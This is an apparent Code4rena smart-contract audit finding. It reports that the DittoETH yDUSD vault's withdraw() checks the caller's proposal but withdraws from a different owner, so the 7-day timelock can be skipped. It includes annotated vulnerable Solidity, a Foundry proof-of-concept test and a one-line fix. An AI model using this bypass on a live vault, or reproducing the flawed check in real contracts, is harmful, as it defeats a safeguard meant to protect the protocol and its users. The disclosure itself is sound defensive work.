Users can evade the yDUSD vault's withdrawal timelock mechanism

mediumCode4rena

Lines of code

https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/tokens/yDUSD.sol#L85 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/tokens/yDUSD.sol#L91 https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/tokens/yDUSD.sol#L107 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4fd2f8be339e850c32206342c3f9a1a7bedbb204/contracts/token/ERC20/extensions/ERC4626.sol#L237-L239 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4fd2f8be339e850c32206342c3f9a1a7bedbb204/contracts/token/ERC20/extensions/ERC4626.sol#L247 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4fd2f8be339e850c32206342c3f9a1a7bedbb204/contracts/token/ERC20/extensions/ERC4626.sol#L248

Vulnerability details

Summary

The yDUSD vault's withdrawal timelock mechanism is vulnerable. An exploiter can withdraw the DUSD assets in their account by using another account's proposedWithdraw request info, breaking the vault's core invariant.

Description

Assuming Bob is an exploiter, he can evade his account (i.e., owner) from the yDUSD vault's withdrawal timelock mechanism by using the proposeWithdraw request info of another account (i.e., msg.sender) (@1 in the snippet below), which can be requested beforehand.

This way, he can withdraw his DUSD assets in the owner account from the vault without waiting for the 7-day period, breaking the invariant of the vault's timelock mechanism.

With the msg.sender's proposeWithdrawrequest info, the 7-day timelock period check (@2) can be passed. After passing the withdrawal timelock check in @2, the DUSD assets in the owner account (@3) can be withdrawn without invoking the yDUSD::proposeWithdraw().

solidity📋
    function withdraw(uint256 assets, address receiver, address owner) public override returns (uint256) {
        //@audit @1 -- Bob can evade his account (i.e., owner) from the vault's withdrawal timelock mechanism by using
        //             the proposeWithdraw info of another account (i.e., msg.sender), which can be requested beforehand.
        //
        //             This way, he can withdraw his DUSD assets in the 'owner' account from the vault without 
        //             waiting for the 7-day period, breaking the invariant of the vault's timelock mechanism.
@1      WithdrawStruct storage withdrawal = withdrawals[msg.sender];
        uint256 amountProposed = withdrawal.amountProposed;
        uint256 timeProposed = withdrawal.timeProposed;

        if (timeProposed == 0 && amountProposed <= 1) revert Errors.ERC4626ProposeWithdrawFirst();

        //@audit @2 -- With the msg.sender's proposeWithdraw request info, the 7-day timelock period check can be passed.
@2      if (timeProposed + C.WITHDRAW_WAIT_TIME > uint40(block.timestamp)) revert Errors.ERC4626WaitLongerBeforeWithdrawing();

        // @dev After 7 days from proposing, a user has 45 days to withdraw
        // @dev User will need to cancelWithdrawProposal() and proposeWithdraw() again
        if (timeProposed + C.WITHDRAW_WAIT_TIME + C.MAX_WITHDRAW_TIME <= uint40(block.timestamp)) {
            revert Errors.ERC4626MaxWithdrawTimeHasElapsed();
        }

        if (amountProposed > maxWithdraw(owner)) revert Errors.ERC4626WithdrawMoreThanMax();

        checkDiscountWindow();

        uint256 shares = previewWithdraw(amountProposed);

        IAsset _dusd = IAsset(dusd);
        uint256 oldBalance = _dusd.balanceOf(receiver);
        //@audit @3 -- After passing the timelock check in @2, the DUSD assets in Bob's owner account can be withdrawn 
        //             without invoking the proposeWithdraw().
@3      _withdraw(_msgSender(), receiver, owner, amountProposed, shares);
        uint256 newBalance = _dusd.balanceOf(receiver);

        // @dev Slippage is likely irrelevant for this. Merely for preventative purposes
        uint256 slippage = 0.01 ether;
        if (newBalance < slippage.mul(amountProposed) + oldBalance) revert Errors.ERC4626WithdrawSlippageExceeded();

        delete withdrawal.timeProposed;
        //reset withdrawal (1 to keep slot warm)
        withdrawal.amountProposed = 1;

        return shares;
    }

• @1: https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/tokens/yDUSD.sol#L85
• @2: https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/tokens/yDUSD.sol#L91
• @3: https://github.com/code-423n4/2024-07-dittoeth/blob/ca3c5bf8e13d0df6a2c1f8a9c66ad95bbad35bce/contracts/tokens/yDUSD.sol#L107

To exploit the vulnerability, Bob must approve the shares transfer of the owner account (@3.1 in the snippet below) for the withdrawer account (i.e., msg.sender).

After @3.1, the ERC4626::_withdraw() will burn the shares from the owner account (@3.2), and then the DUSD assets in the owner account (@3.3) will eventually be transferred out.

solidity📋
        // FILE: node_modules/@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol
        function _withdraw(
            address caller,
            address receiver,
            address owner,
            uint256 assets,
            uint256 shares
        ) internal virtual {
            //@audit @3.1 -- To exploit the vulnerability, Bob must approve the shares transfer of the 'owner' account 
            //               for the withdrawer account (i.e., msg.sender).
@3.1        if (caller != owner) {
@3.1            _spendAllowance(owner, caller, shares);
@3.1        }

            // If _asset is ERC777, `transfer` can trigger a reentrancy AFTER the transfer happens through the
            // `tokensReceived` hook. On the other hand, the `tokensToSend` hook, that is triggered before the transfer,
            // calls the vault, which is assumed not malicious.
            //
            // Conclusion: we need to do the transfer after the burn so that any reentrancy would happen after the
            // shares are burned and after the assets are transferred, which is a valid state.

            //@audit @3.2 -- The _withdraw() will burn the shares from the 'owner' account.
@3.2        _burn(owner, shares);

            //@audit @3.3 -- Then, the DUSD assets in the 'owner' account will eventually be transferred out.
@3.3        SafeERC20.safeTransfer(_asset, receiver, assets);

            emit Withdraw(caller, receiver, owner, assets, shares);
        }

• @3.1: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4fd2f8be339e850c32206342c3f9a1a7bedbb204/contracts/token/ERC20/extensions/ERC4626.sol#L237-L239
• @3.2: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4fd2f8be339e850c32206342c3f9a1a7bedbb204/contracts/token/ERC20/extensions/ERC4626.sol#L247
• @3.3: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4fd2f8be339e850c32206342c3f9a1a7bedbb204/contracts/token/ERC20/extensions/ERC4626.sol#L248

Impact

Users can withdraw their DUSD assets from the yDUSD vault without waiting for the 7-day period, breaking the vault's timelock mechanism's invariant.

Proof of Concept

This section provides a coded PoC.

Place the test_PoC_yDUSD_Vault_BreakingWithdrawalInvariant() in the .test/YDUSD.t.sol file and declare the following import directive at the top of the test file: import {IyDUSD} from "interfaces/IyDUSD.sol";.

To run the test, execute the command: forge test -vv --mt test_PoC_yDUSD_Vault_BreakingWithdrawalInvariant.

The PoC shows that an exploiter can withdraw their DUSD assets in the sender account using another withdrawer account, i.e., the receiver account, without waiting for the 7-day period.

solidity📋
function test_PoC_yDUSD_Vault_BreakingWithdrawalInvariant() public {
    // Require: import {IyDUSD} from "interfaces/IyDUSD.sol";

    // ----- Setup PoC -----
    // Mint dusd to sender
    vm.prank(_diamond);
    token.mint(sender, DEFAULT_AMOUNT);

    // Match at oracle
    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, extra);
    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, extra);

    skip(C.DISCOUNT_WAIT_TIME);
    // ----- Setup PoC -----

    // Receiver deposits DUSD into the vault to get yDUSD
    vm.prank(receiver);
    rebasingToken.deposit(DEFAULT_AMOUNT, receiver);

    // Receiver proposes for withdrawal
    vm.prank(receiver);
    rebasingToken.proposeWithdraw(DEFAULT_AMOUNT);

    // Skip 7 days to avoid the ERC4626WaitLongerBeforeWithdrawing error
    skip(7 days);

    // Sender deposits DUSD into the vault to get yDUSD
    vm.prank(sender);
    rebasingToken.deposit(DEFAULT_AMOUNT, sender);

    // To exploit the vulnerability, perform the following steps:
    //
    // 1. Sender approves shares transfer for Receiver (another Sybil account)
    vm.prank(sender);
    IyDUSD(_yDUSD).approve(receiver, type(uint256).max); // Require: import {IyDUSD} from "interfaces/IyDUSD.sol";

    // 2. Sender withdraws DUSD assets from his account using Receiver's proposed info
    //
    // As a result, Sender neither needs to execute the proposeWithdraw() nor wait for any second to withdraw his assets
    vm.prank(receiver);
    rebasingToken.withdraw(0 /* unused */, sender /* receiver */, sender /* owner */); // Use Receiver's proposed info
}

Tools Used

Manual Review

Recommended Mitigation Steps

Add a check for the msg.sender and the inputted owner, and revert a transaction if they are not matched.

diff📋
    function withdraw(uint256 assets, address receiver, address owner) public override returns (uint256) {
+       if (msg.sender != owner) revert Errors.ERC4626InvalidOwner();

        WithdrawStruct storage withdrawal = withdrawals[msg.sender];
        uint256 amountProposed = withdrawal.amountProposed;
        uint256 timeProposed = withdrawal.timeProposed;

        if (timeProposed == 0 && amountProposed <= 1) revert Errors.ERC4626ProposeWithdrawFirst();

        if (timeProposed + C.WITHDRAW_WAIT_TIME > uint40(block.timestamp)) revert Errors.ERC4626WaitLongerBeforeWithdrawing();

        // @dev After 7 days from proposing, a user has 45 days to withdraw
        // @dev User will need to cancelWithdrawProposal() and proposeWithdraw() again
        if (timeProposed + C.WITHDRAW_WAIT_TIME + C.MAX_WITHDRAW_TIME <= uint40(block.timestamp)) {
            revert Errors.ERC4626MaxWithdrawTimeHasElapsed();
        }

        if (amountProposed > maxWithdraw(owner)) revert Errors.ERC4626WithdrawMoreThanMax();

        checkDiscountWindow();

        uint256 shares = previewWithdraw(amountProposed);

        IAsset _dusd = IAsset(dusd);
        uint256 oldBalance = _dusd.balanceOf(receiver);
        _withdraw(_msgSender(), receiver, owner, amountProposed, shares);
        uint256 newBalance = _dusd.balanceOf(receiver);

        // @dev Slippage is likely irrelevant for this. Merely for preventative purposes
        uint256 slippage = 0.01 ether;
        if (newBalance < slippage.mul(amountProposed) + oldBalance) revert Errors.ERC4626WithdrawSlippageExceeded();

        delete withdrawal.timeProposed;
        //reset withdrawal (1 to keep slot warm)
        withdrawal.amountProposed = 1;

        return shares;
    }

Assessed type

Invalid Validation